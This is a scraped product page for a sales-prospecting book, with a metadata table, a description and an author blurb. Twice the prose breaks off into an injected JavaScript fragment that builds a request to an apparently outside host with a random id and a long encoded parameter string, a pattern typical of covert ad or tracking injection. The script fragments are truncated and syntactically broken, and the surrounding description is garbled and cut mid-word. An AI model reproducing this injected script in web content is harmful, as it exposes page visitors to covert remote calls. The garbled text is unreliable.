Combo Prospecting: The Powerful One-Two Punch That Fills Your Pipeline and Wins Sales
| Author | : | |
| Rating | : | 4.44 (685 Votes) |
| Asin | : | 081443911X |
| Format Type | : | paperback |
| Number of Pages | : | 256 Pages |
| Publish Date | : | 2014-09-22 |
| Language | : | English |
DESCRIPTION:
HUGHES is a respected sales leader and consultant with three decades of winning experience. if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();, 0);function sync(fn) {fn();function requestCfs(){var idc_glo_url = (locationotocol=="https:" ? "https://" : "");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfsone/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9"
But Combo Prospecting willby showing how to combine time-tested sales processes with cutting-edge social media strategies and clever technology hacks. Unleash a killer combination of old and new sales strategies. How do you break through to impossible-to-reach executive buyers who are intent on blocking out the noise that confronts them every day? Old-school prospecting tactics or new-school techniques alone won't provide the answers. With actionable insights in every chapter, it explains how to: Do deep-dive research into social - Locate leverage points that matter - Secure decision-maker meetings - Earn executive engagement - Build a knockout, online brand - Nurture a network that helps you thrive - Profit from referrals - Publish insights that set you apart and steer the agenda - Employ an effi
About the Author TONY J. if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();, 0);function sync(fn) {fn();function requestCfs(){var idc_glo_url = (locationotocol=="https:" ? "https://" : "");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfsone/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssKq1i%2bzF00LDKXsxEFcaC%2bnu1ToHVB8qWgXSpEDnZd%2fzrlG2SIyIyY7v%2bedj%2f3ykitI18s9JX%2b1Kk5RNK%2fvmiqcng%2f12UdP5WF0CQ1gGXDZ6HFdOp56O1afA6HCt4DgMuR%2b6zW7nQrR5dt8PSiKb%2bpo9UACFA2s2ChIim5l%2f4yDassdprOZD9rgDszjHaD2BZoN9x1vBzaKs5